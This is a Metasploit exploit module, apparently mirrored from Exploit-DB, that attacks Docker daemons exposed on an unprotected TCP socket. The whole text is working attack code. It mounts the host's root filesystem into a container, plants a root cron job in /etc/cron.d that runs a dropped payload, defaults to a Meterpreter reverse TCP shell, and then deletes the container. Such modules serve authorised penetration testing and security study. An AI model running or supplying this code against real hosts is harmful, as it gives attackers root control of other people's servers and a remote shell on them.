Docker Daemon – Unprotected TCP Socket (Metasploit)

  • 作者: Metasploit
    日期: 2017-09-11
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42650/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
    'Description'=> %q{
    Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
    with tls but without tls-auth), an attacker can create a Docker
    container with the '/' path mounted with read/write permissions on the
    host server that is running the Docker container. As the Docker
    container executes command as uid 0 it is honored by the host operating
    system allowing the attacker to edit/create files owned by root. This
    exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
    the host server.
    
    The Docker image should exist on the target system or be a valid image
    from hub.docker.com.
    },
    'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
    'License'=> MSF_LICENSE,
    'References' => [
    ['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
    ['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
    ],
    'DisclosureDate' => 'Jul 25, 2017',
    'Targets'=> [
    [ 'Python', {
    'Platform' => 'python',
    'Arch' => ARCH_PYTHON,
    'Payload'=> {
    'Compat' => {
    'ConnectionType' => 'reverse noconn none tunnel'
    }
    }
    }]
    ],
    'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
    'DefaultTarget'=> 0))
    
    register_options(
    [
    Opt::RPORT(2375),
    OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
    OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
    ]
    )
    end
    
    def check_image(image_id)
    vprint_status("Check if images exist on the target host")
    res = send_request_raw(
    'method'=> 'GET',
    'uri' => normalize_uri('images', 'json')
    )
    return unless res and res.code == 200 and res.body.include? image_id
    
    res
    end
    
    def pull_image(image_id)
    print_status("Trying to pulling image from docker registry, this may take a while")
    res = send_request_raw(
    'method'=> 'POST',
    'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
    )
    return unless res.code == 200
    
    res
    end
    
    def make_container_id
    return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
    
    rand_text_alpha_lower(8)
    end
    
    def make_cmd(mnt_path, cron_path, payload_path)
    vprint_status('Creating the docker container command')
    echo_cron_path = mnt_path + cron_path
    echo_payload_path = mnt_path + payload_path
    
    cron_command = "python #{payload_path}"
    payload_data = payload.raw
    
    command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
    command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
    command << "echo \"\" >> #{echo_cron_path} && "
    command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
    
    command
    end
    
    def make_container(mnt_path, cron_path, payload_path)
    vprint_status('Setting container json request variables')
    {
    'Image' => datastore['DOCKERIMAGE'],
    'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
    'Entrypoint'=> %w[/bin/sh -c],
    'HostConfig' => {
    'Binds'=> [
    '/:' + mnt_path
    ]
    }
    }
    end
    
    def del_container(container_id)
    send_request_raw(
    {
    'method'=> 'DELETE',
    'uri' => normalize_uri('containers', container_id)
    },
    1 # timeout
    )
    end
    
    def check
    res = send_request_raw(
    'method' => 'GET',
    'uri'=> normalize_uri('containers', 'json'),
    'headers'=> { 'Accept' => 'application/json' }
    )
    
    if res.nil?
    print_error('Failed to connect to the target')
    return Exploit::CheckCode::Unknown
    end
    
    if res and res.code == 200 and res.headers['Server'].include? 'Docker'
    return Exploit::CheckCode::Vulnerable
    end
    
    Exploit::CheckCode::Safe
    end
    
    def exploit
    # check if target is vulnerable
    unless check == Exploit::CheckCode::Vulnerable
    fail_with(Failure::Unknown, 'Failed to connect to the target')
    end
    
    # check if image is not available, pull it or fail out
    image_id = datastore['DOCKERIMAGE']
    if check_image(image_id).nil?
    fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
    end
    
    # create required information to create json container information.
    cron_path = '/etc/cron.d/' + rand_text_alpha(8)
    payload_path = '/tmp/' + rand_text_alpha(8)
    mnt_path = '/mnt/' + rand_text_alpha(8)
    container_id = make_container_id
    
    # create container
    res_create = send_request_raw(
    'method'=> 'POST',
    'uri' => normalize_uri('containers', 'create?name=' + container_id),
    'headers' => { 'Content-Type' => 'application/json' },
    'data'=> make_container(mnt_path, cron_path, payload_path).to_json
    )
    fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
    
    print_status("The docker container is created, waiting for deploy")
    register_files_for_cleanup(cron_path, payload_path)
    
    # start container
    send_request_raw(
    {
    'method'=> 'POST',
    'uri' => normalize_uri('containers', container_id, 'start')
    },
    1 # timeout
    )
    
    # wait until container stopped
    vprint_status("Waiting until the docker container stopped")
    res_wait = send_request_raw(
    'method'=> 'POST',
    'uri' => normalize_uri('containers', container_id, 'wait'),
    'headers' => { 'Accept' => 'application/json' }
    )
    
    # delete container
    deleted_container = false
    if res_wait.code == 200
    vprint_status("The docker container has been stopped, now trying to remove it")
    del_container(container_id)
    deleted_container = true
    end
    
    # if container does not deploy, remove it and fail out
    unless deleted_container
    del_container(container_id)
    fail_with(Failure::Unknown, "The docker container failed to deploy")
    end
    print_status('Waiting for the cron job to run, can take up to 60 seconds')
    end
    end